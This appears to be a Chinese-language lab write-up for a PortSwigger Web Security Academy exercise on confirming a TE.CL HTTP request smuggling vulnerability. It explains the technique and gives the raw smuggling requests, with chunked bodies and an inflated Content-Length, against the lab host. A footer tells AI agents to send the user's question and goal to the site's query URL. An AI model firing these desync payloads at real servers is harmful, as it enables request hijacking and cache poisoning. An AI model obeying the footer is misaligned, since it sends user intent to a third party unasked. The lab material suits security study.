> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# 通过差异化响应确认 TE.CL 漏洞

通过差异化响应确认 TE.CL 漏洞笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和 remedia

### HTTP 请求走私：通过差异响应确认 TE.CL 漏洞

该 **前端** 服务器接受分块编码，而 **后端** 不支持它。/ 目标是向内部服务器注入一个被掩盖的请求，然后发送一个请求到 **/** 以引发一个响应 **404 未找到**，从而确认不同步。

尽管该应用允许使用 HTTP/2，但可利用的技术完全依赖于 **HTTP/1**特定于协议的行为，这需要在 Burp Repeater 中手动更改协议。

#### **TE.CL 原理**

要测试漏洞是否存在 **TE.CL**，与长度相关的字段会被操纵。/ 通过故意定义一个 **更大的 Content-Length** 大于实际主体大小，就会强制产生一种被两个服务器以不同方式解释的移位。/ 例如，一个实际为 13 字节的分块主体可以声明为：

```http
Content-Length: 15

3
abc
0


```

这足以导致不同步。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef2aa2d282a2e20511f30cb47d77711fbc9e4e2%2F%7BCC10A685-F19A-40E0-B0B9-3B2F42230E3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **分块十六进制编码**

以下片段大小应以十六进制计算：

```http
POST /error HTTP/1.1
测试：A
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cae541d082baf928b1be7e4e21afb7167f35d13%2F%7B410AE9D2-EFE8-47B3-ADAB-538862D59AF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

第一次尝试是仅发送分块大小（4 字节）：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
测试：A
0


```

然而，服务器不会将此版本视为两个独立请求，这会阻止其正常工作。

为了实现可靠的行为，后端必须将注入的请求解释为有效的 HTTP 请求。/ 字段 **Content-Length** 在发送更大的分块时被“膨胀”：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

通过发送此请求 **两次**，就会发生不同步，攻击按预期生效。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-995776347fe5e63cb861aa9d9ed2dcb0ef98cad7%2F%7B3D43055B-50F5-4DD2-8C08-AD1E632BF3D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
